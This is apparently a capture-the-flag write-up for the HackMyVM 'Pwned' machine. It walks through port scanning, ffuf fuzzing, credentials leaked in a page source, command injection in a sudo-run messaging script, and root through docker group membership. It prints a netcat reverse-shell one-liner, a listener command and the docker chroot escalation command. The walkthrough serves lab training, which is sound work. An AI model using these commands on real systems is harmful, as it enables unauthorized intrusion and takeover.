HMV-PWNED-Writeup

Everything has a story. This box has a very interesting one that is revealed piece by piece from following the traces of the hacker to gain access to different users ending with being the root and pwning the machine revealing the final parts of the story.

Executive Summary

This walkthrough details the compromise of a Linux-based target, escalating from unauthenticated web access to full system root. The attack path highlights common misconfigurations in web deployments, insecure scripting practices, and excessive group privileges.

Attack Path Overview:

• Initial Access: Directory fuzzing revealed a custom dictionary file, which was then utilized to uncover a hidden login page. Inspecting the page's source code exposed hardcoded credentials, providing access to an FTP share and subsequently an SSH private key for the user ariana.
• Lateral Movement: Enumeration of the ariana user account revealed a custom messaging script (messenger.sh) executable via sudo as the user selena without a password. A command injection vulnerability within this script was exploited to spawn a reverse shell as selena.
• Privilege Escalation: Post-exploitation enumeration showed that selena was a member of the docker group. This misconfiguration was leveraged to mount the host's root filesystem into a temporary Alpine container, resulting in a full root shell.

1. Initial Enumeration

The first step is to find out what is the ip address of our target, a quick command gives us our target IP:

sudo nmap -sn 192.168.40.0/24

sudo nmap -sn 192.168.40.0/24

This returned the target IP: 192.168.40.4

Next checking all possible ports since it's a CTF and we don't want to leave anything unchecked so we use:

nmap -p- 192.168.40.4
nmap -A -p 21,22,80 192.168.40.4

nmap -p- 192.168.40.4
nmap -A -p 21,22,80 192.168.40.4

These results show that we got 3 open ports: FTP(21), SSH(22), and HTTP(80). All services versions were good and don't seem vulnerable to any CVE, and The FTP is not allowing anonymous login. So our only entry point is the webserver on port 80.

2. Hunting for Hidden Directories

Visiting the main page just shows a defaced screen usually left by a hacker, so assuming that the previous attacker left a hidden backdoor or hidden page to allow re-entry at any time, I tried fuzzing the web directories using ffuf:

ffuf -c -v -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.40.4/FUZZ

ffuf -c -v -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.40.4/FUZZ

This returned two pages on the web server:

• /nothing/nothing.html : A page saying it got nothing useful
• /hidden_text/secret.dic : A custom dictionary file.

3. Fuzzing using custom wordlist

So from the .dic extension of that file we found earlier, and the slash in the beginning of each line, it suggests that this dictionary could be used to find other non-standard folders on the web server, so after copying that wordlist into our machine we fuzz the url again using:

ffuf -c -v dict.txt http://192.168.40.4/FUZZ

ffuf -c -v dict.txt http://192.168.40.4/FUZZ

Hitting the jackpot, we found a page called: /pwned.vuln

After inspecting this page we get some creds that could be used in either ssh or ftp ftpuser.

ftpuser:B0ss_B!TcH

From the username we figure out that it is an ftp creds.

4. Gaining initial foothold via FTP then SSH

Using the previous credentials to login to the ftp server, we are met with a folder named "share", it contains 2 files named:

• note.txt: A message left by the previous hacker, indicating the target user is "Ariana".
• id_rsa: A standard private ssh key.

We can download these two files into our local machine from the ftp connection using:

>get note.txt
>get id_rsa

>get note.txt
>get id_rsa

After giving the private key the necessary permission we can use it to connect to ariana on the target.

5. Lateral movement and Privilege Escalation

Exploring the files in Ariana's directory we see the first flag and her diary, which tells that she had a fight with selena over some guy, while the drama was intriguing, a file she accessed using sudo was far more compelling.

This tells that she can run a custom script using sudo as selena with no password needed.

Ariana had access to read this custom messaging script.

We notice at the last line the file is vulnerable to command injection as it runs the message with errors sent to /dev/null

Thus if we inject a command when asked for a message to send like 'whoami' it should return the user that is running the script, and if we run it using sudo as selena it should return that the user is selena instead of ariana, and this is exactly what happens in the following POC:

So now we have to use this to change into selena in a shell. For this I used a netcat listener on another terminal:

nc -lnvp 4444

nc -lnvp 4444

Then we could use the following to exploit the command injection in the script to get a shell back:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.3 4444 >/tmp/f

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.3 4444 >/tmp/f

This gets us a revshell in the netcat listener, then we stabilise the shell using python and we make it more interactive:

With this we got full access to selena.

Now exploring Selena's directory we find another flag and her diary which expands on the drama.

Standard checks for usual priv esc vulnerablities(SUID, Sudo) came out empty.

However, checking Selena's group membership, we find something interesting. Selena is a member of the docker group, this group is not standard for normal users.

Since the Docker daemon runs as root, users in this group can effectively escalate to root by mounting the host filesystem into a new container. I spun up an Alpine container and chrooted into the host:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Just like that we get a root shell, with the root flag, and we find the final piece of the story.